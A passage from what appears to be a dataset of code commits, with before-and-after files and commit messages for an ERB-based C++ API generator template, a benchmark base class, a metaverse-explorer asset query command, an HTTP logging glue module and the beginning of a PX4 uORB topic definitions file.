<%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        if ( rho_ruby_is_string(argv[<%= first_arg %>]) )\n        {\n            arg<%= first_arg %> = getStringFromValue(argv[<%= first_arg %>]);\n<% if first_arg == 0 %>\n            oRes.setStringParam(getStringFromValue(argv[<%= first_arg %>]));\n<% end %>\n        }\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{param.type.downcase}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }\n<% end\n\nif param.type == MethodParam::TYPE_INT %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        if ( rho_ruby_is_integer(argv[<%= first_arg %>]) )\n            arg<%= first_arg %> = rho_ruby_get_int(argv[<%= first_arg %>]);\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{param.type.downcase}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }\n<% end\n\nif param.type == MethodParam::TYPE_BOOL %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        if ( rho_ruby_is_boolean(argv[<%= first_arg %>]) )\n            arg<%= first_arg %> = rho_ruby_get_bool(argv[<%= first_arg %>]) ? true : false;\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{param.type.downcase}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }\n<% end\n\nif param.type == MethodParam::TYPE_DOUBLE %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        if ( rho_ruby_is_double(argv[<%= first_arg %>]) )\n            arg<%= first_arg %> = rho_ruby_get_double(argv[<%= first_arg %>]);\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{param.type.downcase}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }\n<% end\n\nif param.type == MethodParam::TYPE_ARRAY %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        if ( rho_ruby_is_array(argv[<%= first_arg %>]) )\n            getStringArrayFromValue(argv[<%= first_arg %>], arg<%= first_arg %>);\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{param.type.downcase}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }\n<% end\n\nif param.type == MethodParam::TYPE_HASH %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        if ( rho_ruby_is_hash(argv[<%= first_arg %>]) )\n            getStringHashFromValue(argv[<%= first_arg %>], arg<%= first_arg %>);\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{param.type.downcase}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }\n<% end\n\nif !MethodParam::BASE_TYPES.include?(param.type) %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        <%  type_name = param.type;\n            if api_generator_isSelfModule( $cur_module, param.type); type_name = api_generator_getRubyModuleFullName($cur_module); %>\n            if ( rho_ruby_is_object_of_class(argv[<%= first_arg %>], getRuby_<%= $cur_module.name %>_Module()) )<% \n        else %>\n            if ( rho_ruby_is_object_of_class(argv[<%= first_arg %>], rho_ruby_get_class_byname(\"<%=param.type%>\") ) )<% \n        end %>\n            arg<%= first_arg %> = rho_ruby_get_object_id( argv[<%= first_arg %>] );\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{type_name}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }<%\nend\nfunctor_params += \"arg#{first_arg}, \"\nfirst_arg = first_arg+1\nend %>\n    if ( argc > nCallbackArg )\n    {\n<% if module_method.has_callback == ModuleMethod::CALLBACK_NONE %>\n        oRes.setArgError(\"Wrong number of arguments: \" + convertToStringA(argc) + \" instead of \" + convertToStringA(<%= module_method.params.size() %>) );\n        return oRes.toRuby();<%\nelse %>\n        if ( rho_ruby_is_proc(argv[nCallbackArg]) || rho_ruby_is_method(argv[nCallbackArg]) )\n        {\n            oRes.setRubyCallbackProc( argv[nCallbackArg] );\n        }else if ( rho_ruby_is_string(argv[nCallbackArg]) )\n        {\n            oRes.setRubyCallback( getStringFromValue(argv[nCallbackArg]) );\n        }else\n        {\n            oRes.setArgError(\"Type error: callback should be String\");\n            return oRes.toRuby();\n        }\n\n        oRes.setCallInUIThread(<%= (module_method.run_in_thread == ModuleMethod::RUN_IN_THREAD_UI) ? \"true\" : \"false\" %>);\n        if ( argc > nCallbackArg + 1 )\n        {\n            if ( !rho_ruby_is_string(argv[nCallbackArg + 1]) )\n            {\n                oRes.setArgError(\"Type error: callback parameter should be String\");\n                return oRes.toRuby();\n            }\n\n            oRes.setCallbackParam( getStringFromValue(argv[nCallbackArg + 1]) );\n        }\n        \n        bUseCallback = true;<%\nend %>\n    }<%\nif module_method.has_callback == ModuleMethod::CALLBACK_MANDATORY%>\n    else\n    {\n        oRes.setArgError(\"Wrong number of arguments: \" + convertToStringA(argc) + \" instead of \" + convertToStringA(<%= module_method.params.size()+1 %>) + \".Mandatory Callback parameter is mised.\" );\n        return oRes.toRuby();\n    }<%\nend\n\nif module_method.access != ModuleMethod::ACCESS_STATIC %>\n    pFunctor = rho_makeInstanceClassFunctor<%= module_method.params.size()+1%>( pObj, &<%= api_generator_cpp_MakeNamespace($cur_module.parents)%>I<%= $cur_module.name %>::<%= module_method.native_name %>, <%= functor_params %> oRes );<%\nelse %>\n    pFunctor = rho_makeInstanceClassFunctor<%= module_method.params.size()+1%>( <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS(), &<%= api_generator_cpp_MakeNamespace($cur_module.parents)%>I<%= $cur_module.name %>Singleton::<%= module_method.native_name %>, <%= functor_params %> oRes );<%\nend\n\nif module_method.run_in_thread == ModuleMethod::RUN_IN_THREAD_UI %>\n    rho_wm_impl_performOnUiThread( pFunctor );<%\nelsif (module_method.run_in_thread == ModuleMethod::RUN_IN_THREAD_MODULE) || (module_method.run_in_thread == ModuleMethod::RUN_IN_THREAD_SEPARATED) %>\n    <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->addCommandToQueue( pFunctor );<%\nelse if module_method.run_in_thread != ModuleMethod::RUN_IN_THREAD_NONE %>\n\n    if ( bUseCallback )\n        <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->addCommandToQueue( pFunctor );\n    else <%\nend %>\n    {\n        delete pFunctor;\n\n<% if module_method.access != ModuleMethod::ACCESS_STATIC %>\n        pObj-><%= module_method.native_name %>( <%= functor_params %> oRes );<%\nelse %>\n        <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()-><%= module_method.native_name %>( <%= functor_params %> oRes );<%\nend %>\n\n    }<%\nend %>\n    return oRes.toRuby();\n}\n\n<% if module_method.access != ModuleMethod::ACCESS_STATIC %>\n<%= api_generator_MakeRubyMethodDecl($cur_module.name, module_method, module_method.access == ModuleMethod::ACCESS_STATIC)%>\n{\n    const char* szID = rho_ruby_get_object_id( obj );\n    <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>I<%= $cur_module.name %>* pObj =  <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::getInstance()->getModuleByID(szID);\n\n    return _api_generator_<%= $cur_module.name %>_<%= module_method.native_name %>(argc, argv, pObj);\n}\n<% end %>\n\n<% if $cur_module.is_template_default_instance && module_method.access == ModuleMethod::ACCESS_INSTANCE%>\n<%= api_generator_MakeRubyMethodDecl($cur_module.name + \"_def\", module_method, true)%>\n{\n    rho::String strDefaultID = <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->getDefaultID();\n    <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>I<%= $cur_module.name %>* pObj = <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::getInstance()->getModuleByID(strDefaultID);\n\n    return _api_generator_<%= $cur_module.name %>_<%= module_method.native_name %>(argc, argv, pObj);\n}\n<% end %>\n<% end %>\n\n}<|endoftext|>"}
{"text":"<commit_before><commit_msg>Since we do such a large amount of string comparisions (mainly in ReactWith involving 3 elements, I changed it so we're doing comparisons on the Symbol of the element rather than the name.  Should cut down on cost quite significantly<commit_after><|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <inttypes.h>\n#include <time.h>\n\nuint64_t nanotime();\n\n\/**\n   Base class for benchmarks. Includes stuff for automatically\n   running, making statistics, etc.\n *\/\nclass Benchmark {\npublic:\n\tBenchmark(int num_trials = 10);\n\t\n\tvoid run();\n\n\tvirtual void setup();\n\tvirtual void cleanup();\n\n\tdouble timePerIteration() const;\n\tdouble timePerIterationMicros() const;\n\n\tvoid setNumTrials(int num_trials);\n\tint getNumTrials() const;\n\t\nprotected:\n\t\/\/ These are the things that each benchmark needs to implement.\n\t\n\tvirtual void run_iteration() = 0;\n\tvirtual void finish_iteration() = 0;\n\nprivate:\n\tint mNumTrials;\n\tint64_t mTotalTime;\n};\n\n#include \"cppbench-impl.hpp\"\n<commit_msg>Providing a default finish_iteration implementation.<commit_after>#pragma once\n\n#include <inttypes.h>\n#include <time.h>\n\nuint64_t nanotime();\n\n\/**\n   Base class for benchmarks. Includes stuff for automatically\n   running, making statistics, etc.\n *\/\nclass Benchmark {\npublic:\n\tBenchmark(int num_trials = 10);\n\t\n\tvoid run();\n\n\tvirtual void setup();\n\tvirtual void cleanup();\n\n\tdouble timePerIteration() const;\n\tdouble timePerIterationMicros() const;\n\n\tvoid setNumTrials(int num_trials);\n\tint getNumTrials() const;\n\t\nprotected:\n\t\/\/ These are the things that each benchmark needs to implement.\n\t\n\tvirtual void run_iteration() = 0;\n\tvirtual void finish_iteration() {};\n\nprivate:\n\tint mNumTrials;\n\tint64_t mTotalTime;\n};\n\n#include \"cppbench-impl.hpp\"\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) 2016-2018 mvs developers \n *\n * This file is part of metaverse-explorer.\n *\n * metaverse-explorer is free software: you can redistribute it and\/or\n * modify it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option)\n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <metaverse\/explorer\/json_helper.hpp>\n#include <metaverse\/explorer\/dispatch.hpp>\n#include <metaverse\/explorer\/extensions\/commands\/getaddressasset.hpp>\n#include <metaverse\/explorer\/extensions\/command_extension_func.hpp>\n#include <metaverse\/explorer\/extensions\/command_assistant.hpp>\n#include <metaverse\/explorer\/extensions\/exception.hpp>\n\nnamespace libbitcoin {\nnamespace explorer {\nnamespace commands {\nusing namespace bc::explorer::config;\n\n\/************************ getaddressasset *************************\/\n\nconsole_result getaddressasset::invoke (Json::Value& jv_output,\n         libbitcoin::server::server_node& node)\n{\n    auto& aroot = jv_output;\n    Json::Value assets;\n    std::string symbol;\n\n    auto& blockchain = node.chain_impl();\n    if(!blockchain.is_valid_address(argument_.address)) \n        throw address_invalid_exception{\"invalid address!\"};\n    \n    \/\/ 1. get asset in blockchain\n    auto kind = business_kind::asset_transfer;\n    std::set<std::string> symbol_set;\n    std::vector<asset_detail> asset_vec; \/\/ just used asset_detail class\n\n    \/\/ make all asset kind vector\n    std::vector<business_kind> kind_vec;\n    kind_vec.push_back(business_kind::asset_transfer);\n    kind_vec.push_back(business_kind::asset_issue);\n    \n    for (auto kind : kind_vec) {\n        \/\/ get address unspent asset balance\n        auto sh_vec = blockchain.get_address_business_history(argument_.address, kind, business_status::unspent);\n        const auto sum = [&](const business_history& bh)\n        {\n            \/\/ get asset info\n            std::string symbol;\n            uint64_t num;\n            if(kind == business_kind::asset_transfer) {\n                auto transfer_info = boost::get<chain::asset_transfer>(bh.data.get_data());\n                symbol = transfer_info.get_address();\n                num = transfer_info.get_quantity();\n            } else { \/\/ asset issued\n                auto asset_info = boost::get<asset_detail>(bh.data.get_data());\n                symbol = asset_info.get_symbol();\n                num = asset_info.get_maximum_supply();\n            }\n            \n            \/\/ update asset quantity\n            auto r = symbol_set.insert(symbol);\n            if(r.second) { \/\/ new symbol\n                asset_vec.push_back(asset_detail(symbol, num, 0, \"\", argument_.address, \"\"));\n            } else { \/\/ already exist\n                const auto add_num = [&](asset_detail& elem)\n                {\n                    if( 0 == symbol.compare(elem.get_symbol()) )\n                        elem.set_maximum_supply(elem.get_maximum_supply()+num);\n                };\n                std::for_each(asset_vec.begin(), asset_vec.end(), add_num);\n            }\n        };\n        std::for_each(sh_vec->begin(), sh_vec->end(), sum);\n    } \n    \n    for (auto& elem: asset_vec) {\n        Json::Value asset_data;\n        asset_data[\"symbol\"] = elem.get_symbol();\n        symbol = elem.get_symbol();\n        if (get_api_version() == 1) {\n            asset_data[\"quantity\"] += elem.get_maximum_supply();\n        } else {\n            asset_data[\"quantity\"] = elem.get_maximum_supply();\n        }\n        auto issued_asset = blockchain.get_issued_asset(symbol);\n        if(issued_asset && get_api_version() == 1) {\n            asset_data[\"decimal_number\"] += issued_asset->get_decimal_number();\n        }\n        if(issued_asset && get_api_version() == 2) {\n            asset_data[\"decimal_number\"] = issued_asset->get_decimal_number();\n        }\n        \/\/asset_data[\"asset_type\"] = elem.detail.get_asset_type();\n        \/\/asset_data[\"issuer\"] = elem.detail.get_issuer();\n        \/\/asset_data[\"address\"] = elem.detail.get_address();\n        \/\/asset_data[\"description\"] = elem.detail.get_description();\n        asset_data[\"address\"] = elem.get_address();\n        asset_data[\"status\"] = \"unspent\";\n        assets.append(asset_data);\n    }\n    if (get_api_version() == 1 && assets.isNull()) { \/\/compatible for v1\n        aroot[\"assets\"] = \"\";\n    }\n    else {\n        aroot[\"assets\"] = assets;\n    }\n\n    return console_result::okay;\n}\n\n\n} \/\/ namespace commands\n} \/\/ namespace explorer\n} \/\/ namespace libbitcoin\n\n<commit_msg>fix: getaddressasset add info for secondissue_assetshare_threshold<commit_after>\/**\n * Copyright (c) 2016-2018 mvs developers \n *\n * This file is part of metaverse-explorer.\n *\n * metaverse-explorer is free software: you can redistribute it and\/or\n * modify it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option)\n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <metaverse\/explorer\/json_helper.hpp>\n#include <metaverse\/explorer\/dispatch.hpp>\n#include <metaverse\/explorer\/extensions\/commands\/getaddressasset.hpp>\n#include <metaverse\/explorer\/extensions\/command_extension_func.hpp>\n#include <metaverse\/explorer\/extensions\/command_assistant.hpp>\n#include <metaverse\/explorer\/extensions\/exception.hpp>\n\nnamespace libbitcoin {\nnamespace explorer {\nnamespace commands {\nusing namespace bc::explorer::config;\n\n\/************************ getaddressasset *************************\/\n\nconsole_result getaddressasset::invoke (Json::Value& jv_output,\n         libbitcoin::server::server_node& node)\n{\n    auto& aroot = jv_output;\n    Json::Value assets;\n    std::string symbol;\n\n    auto& blockchain = node.chain_impl();\n    if(!blockchain.is_valid_address(argument_.address)) \n        throw address_invalid_exception{\"invalid address!\"};\n    \n    \/\/ 1. get asset in blockchain\n    auto kind = business_kind::asset_transfer;\n    std::set<std::string> symbol_set;\n    std::vector<asset_detail> asset_vec; \/\/ just used asset_detail class\n\n    \/\/ make all asset kind vector\n    std::vector<business_kind> kind_vec;\n    kind_vec.push_back(business_kind::asset_transfer);\n    kind_vec.push_back(business_kind::asset_issue);\n    \n    for (auto kind : kind_vec) {\n        \/\/ get address unspent asset balance\n        auto sh_vec = blockchain.get_address_business_history(argument_.address, kind, business_status::unspent);\n        const auto sum = [&](const business_history& bh)\n        {\n            \/\/ get asset info\n            uint64_t num;\n            if(kind == business_kind::asset_transfer) {\n                auto transfer_info = boost::get<chain::asset_transfer>(bh.data.get_data());\n                symbol = transfer_info.get_address();\n                num = transfer_info.get_quantity();\n            } else { \/\/ asset issued\n                auto asset_info = boost::get<asset_detail>(bh.data.get_data());\n                symbol = asset_info.get_symbol();\n                num = asset_info.get_maximum_supply();\n            }\n            \n            \/\/ update asset quantity\n            auto r = symbol_set.insert(symbol);\n            if(r.second) { \/\/ new symbol\n                asset_vec.push_back(asset_detail(symbol, num, 0, \"\", argument_.address, \"\"));\n            } else { \/\/ already exist\n                const auto add_num = [&](asset_detail& elem)\n                {\n                    if( 0 == symbol.compare(elem.get_symbol()) )\n                        elem.set_maximum_supply(elem.get_maximum_supply()+num);\n                };\n                std::for_each(asset_vec.begin(), asset_vec.end(), add_num);\n            }\n        };\n        std::for_each(sh_vec->begin(), sh_vec->end(), sum);\n    } \n    \n    for (auto& elem: asset_vec) {\n        Json::Value asset_data;\n        symbol = elem.get_symbol();\n        auto issued_asset = blockchain.get_issued_asset(symbol);\n        if (!issued_asset) {\n            continue;\n        }\n        if (get_api_version() == 1) {\n            asset_data[\"quantity\"] += elem.get_maximum_supply();\n            asset_data[\"decimal_number\"] += issued_asset->get_decimal_number();\n            asset_data[\"secondissue_assetshare_threshold\"] += elem.get_secondissue_assetshare_threshold();\n        } else {\n            asset_data[\"quantity\"] = elem.get_maximum_supply();\n            asset_data[\"decimal_number\"] = issued_asset->get_decimal_number();\n            asset_data[\"secondissue_assetshare_threshold\"] = elem.get_secondissue_assetshare_threshold();\n        }\n        asset_data[\"symbol\"] = symbol;\n        asset_data[\"address\"] = elem.get_address();\n        asset_data[\"status\"] = \"unspent\";\n        assets.append(asset_data);\n    }\n    if (get_api_version() == 1 && assets.isNull()) { \/\/compatible for v1\n        aroot[\"assets\"] = \"\";\n    }\n    else {\n        aroot[\"assets\"] = assets;\n    }\n\n    return console_result::okay;\n}\n\n\n} \/\/ namespace commands\n} \/\/ namespace explorer\n} \/\/ namespace libbitcoin\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Glue code for the logging protocol.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"log_glue.hxx\"\n#include \"log_launch.hxx\"\n#include \"log_client.hxx\"\n\n#include <glib.h>\n\n#include <assert.h>\n#include <string.h>\n\nstatic bool global_log_enabled;\nstatic LogClient *global_log_client;\n\nvoid\nlog_global_init(const char *program, const struct daemon_user *user)\n{\n    assert(global_log_client == nullptr);\n\n    if (program == nullptr || *program == 0 || strcmp(program, \"internal\") == 0) {\n        global_log_enabled = false;\n        return;\n    }\n\n    if (strcmp(program, \"null\") == 0) {\n        global_log_enabled = true;\n        return;\n    }\n\n    auto lp = log_launch(program, user);\n    assert(lp.fd.IsDefined());\n\n    global_log_client = log_client_new(std::move(lp.fd));\n    assert(global_log_client != nullptr);\n    global_log_enabled = global_log_client != nullptr;\n}\n\nvoid\nlog_global_deinit(void)\n{\n    if (global_log_client != nullptr)\n        log_client_free(global_log_client);\n}\n\nbool\nlog_global_enabled(void)\n{\n    return global_log_enabled;\n}\n\nbool\nlog_http_request(uint64_t timestamp, http_method_t method, const char *uri,\n                 const char *remote_host, const char *site,\n                 const char *referer, const char *user_agent,\n                 http_status_t status, int64_t length,\n                 uint64_t traffic_received, uint64_t traffic_sent,\n                 uint64_t duration)\n{\n    assert(http_method_is_valid(method));\n    assert(uri != nullptr);\n    assert(http_status_is_valid(status));\n\n    if (global_log_client == nullptr)\n        return true;\n\n    log_client_begin(global_log_client);\n    log_client_append_u64(global_log_client, LOG_TIMESTAMP, timestamp);\n    if (remote_host != nullptr)\n        log_client_append_string(global_log_client, LOG_REMOTE_HOST,\n                                 remote_host);\n    if (site != nullptr)\n        log_client_append_string(global_log_client, LOG_SITE, site);\n    log_client_append_u8(global_log_client, LOG_HTTP_METHOD, method);\n    log_client_append_string(global_log_client, LOG_HTTP_URI, uri);\n    if (referer != nullptr)\n        log_client_append_string(global_log_client, LOG_HTTP_REFERER, referer);\n    if (user_agent != nullptr)\n        log_client_append_string(global_log_client, LOG_USER_AGENT,\n                                 user_agent);\n    log_client_append_u16(global_log_client, LOG_HTTP_STATUS, status);\n\n    if (length >= 0)\n        log_client_append_u64(global_log_client, LOG_LENGTH, length);\n\n    struct {\n        uint64_t received, sent;\n    } traffic = {\n        .received = GUINT64_TO_BE(traffic_received),\n        .sent = GUINT64_TO_BE(traffic_sent),\n    };\n\n    log_client_append_attribute(global_log_client, LOG_TRAFFIC,\n                                &traffic, sizeof(traffic));\n\n    if (duration > 0)\n        log_client_append_u64(global_log_client, LOG_DURATION, duration);\n\n    return log_client_commit(global_log_client);\n}\n<commit_msg>log_glue: use util\/ByteOrder.hxx instead of GLib<commit_after>\/*\n * Glue code for the logging protocol.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"log_glue.hxx\"\n#include \"log_launch.hxx\"\n#include \"log_client.hxx\"\n#include \"util\/ByteOrder.hxx\"\n\n#include <assert.h>\n#include <string.h>\n\nstatic bool global_log_enabled;\nstatic LogClient *global_log_client;\n\nvoid\nlog_global_init(const char *program, const struct daemon_user *user)\n{\n    assert(global_log_client == nullptr);\n\n    if (program == nullptr || *program == 0 || strcmp(program, \"internal\") == 0) {\n        global_log_enabled = false;\n        return;\n    }\n\n    if (strcmp(program, \"null\") == 0) {\n        global_log_enabled = true;\n        return;\n    }\n\n    auto lp = log_launch(program, user);\n    assert(lp.fd.IsDefined());\n\n    global_log_client = log_client_new(std::move(lp.fd));\n    assert(global_log_client != nullptr);\n    global_log_enabled = global_log_client != nullptr;\n}\n\nvoid\nlog_global_deinit(void)\n{\n    if (global_log_client != nullptr)\n        log_client_free(global_log_client);\n}\n\nbool\nlog_global_enabled(void)\n{\n    return global_log_enabled;\n}\n\nbool\nlog_http_request(uint64_t timestamp, http_method_t method, const char *uri,\n                 const char *remote_host, const char *site,\n                 const char *referer, const char *user_agent,\n                 http_status_t status, int64_t length,\n                 uint64_t traffic_received, uint64_t traffic_sent,\n                 uint64_t duration)\n{\n    assert(http_method_is_valid(method));\n    assert(uri != nullptr);\n    assert(http_status_is_valid(status));\n\n    if (global_log_client == nullptr)\n        return true;\n\n    log_client_begin(global_log_client);\n    log_client_append_u64(global_log_client, LOG_TIMESTAMP, timestamp);\n    if (remote_host != nullptr)\n        log_client_append_string(global_log_client, LOG_REMOTE_HOST,\n                                 remote_host);\n    if (site != nullptr)\n        log_client_append_string(global_log_client, LOG_SITE, site);\n    log_client_append_u8(global_log_client, LOG_HTTP_METHOD, method);\n    log_client_append_string(global_log_client, LOG_HTTP_URI, uri);\n    if (referer != nullptr)\n        log_client_append_string(global_log_client, LOG_HTTP_REFERER, referer);\n    if (user_agent != nullptr)\n        log_client_append_string(global_log_client, LOG_USER_AGENT,\n                                 user_agent);\n    log_client_append_u16(global_log_client, LOG_HTTP_STATUS, status);\n\n    if (length >= 0)\n        log_client_append_u64(global_log_client, LOG_LENGTH, length);\n\n    struct {\n        uint64_t received, sent;\n    } traffic = {\n        .received = ToBE64(traffic_received),\n        .sent = ToBE64(traffic_sent),\n    };\n\n    log_client_append_attribute(global_log_client, LOG_TRAFFIC,\n                                &traffic, sizeof(traffic));\n\n    if (duration > 0)\n        log_client_append_u64(global_log_client, LOG_DURATION, duration);\n\n    return log_client_commit(global_log_client);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n *\n *   Copyright (c) 2012-2015 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file objects_common.cpp\n *\n * Common object definitions without a better home.\n *\/\n\n\/**\n * @defgroup topics List of all uORB topics.\n *\/\n\n#include <px4_config.h>\n\n#include <drivers\/drv_orb_dev.h>\n\n#include <drivers\/drv_mag.h>\nORB_DEFINE(sensor_mag, struct mag_report);\n\n#include <drivers\/drv_accel.h>\nORB_DEFINE(sensor_accel, struct accel_report);\n\n#include <drivers\/drv_gyro.h>\nORB_DEFINE(sensor_gyro, struct gyro_report);\n\n#include <drivers\/drv_baro.h>\nORB_DEFINE(sensor_baro, struct baro_report);\n\n#include <drivers\/drv_range_finder.h>\nORB_DEFINE(sensor_range_finder, struct range_finder_report);\n\n#include <drivers\/drv_pwm_output.h>\nORB_DEFINE(output_pwm, struct pwm_output_values);\n\n#include <drivers\/drv_rc_input.h>\nORB_DEFINE(input_rc, struct rc_input_values);\n\n#include \"topics\/vehicle_attitude.h\"\nORB_DEFINE(vehicle_attitude, struct vehicle_attitude_s);\n\n#include \"topics\/sensor_combined.h\"\nORB_DEFINE(sensor_combined, struct sensor_combined_s);\n\n#include \"topics\/vehicle_gps_position.h\"\nORB_DEFINE(vehicle_gps_position, struct vehicle_gps_position_s);\n\n#include \"topics\/vehicle_land_detected.h\"\nORB_DEFINE(vehicle_land_detected, struct vehicle_land_detected_s);\n\n#include \"topics\/satellite_info.h\"\nORB_DEFINE(satellite_info, struct satellite_info_s);\n\n#include \"topics\/home_position.h\"\nORB_DEFINE(home_position, struct home_position_s);\n\n#include \"topics\/vehicle_status.h\"\nORB_DEFINE(vehicle_status, struct vehicle_status_s);\n\n#include \"topics\/vtol_vehicle_status.h\"\nORB_DEFINE(vtol_vehicle_status, struct vtol_vehicle_status_s);\n\n#include \"topics\/safety.h\"\nORB_DEFINE(safety, struct safety_s);\n\n#include \"topics\/battery_status.h\"\nORB_DEFINE(battery_status, struct battery_status_s);\n\n#include \"topics\/servorail_status.h\"\nORB_DEFINE(servorail_status, struct servorail_status_s);\n\n#include \"topics\/system_power.h\"\nORB_DEFINE(system_power, struct system_power_s);\n\n#include \"topics\/vehicle_global_position.h\"\nORB_DEFINE(vehicle_global_position, struct vehicle_global_position_s);\n\n#include \"topics\/vehicle_local_position.h\"\nORB_DEFINE(vehicle_local_position, struct vehicle_local_position_s);\n\n#include \"topics\/vehicle_vicon_position.h\"\nORB_DEFINE(vehicle_vicon_position, struct vehicle_vicon_position_s);\n\n#include \"topics\/vehicle_rates_setpoint.h\"\nORB_DEFINE(vehicle_rates_setpoint, struct vehicle_rates_setpoint_s);\n#include \"topics\/mc_virtual_rates_setpoint.h\"\nORB_DEFINE(mc_virtual_rates_setpoint, struct mc_virtual_rates_setpoint_s);\n#include \"topics\/fw_virtual_rates_setpoint.h\"\nORB_DEFINE(fw_virtual_rates_setpoint, struct 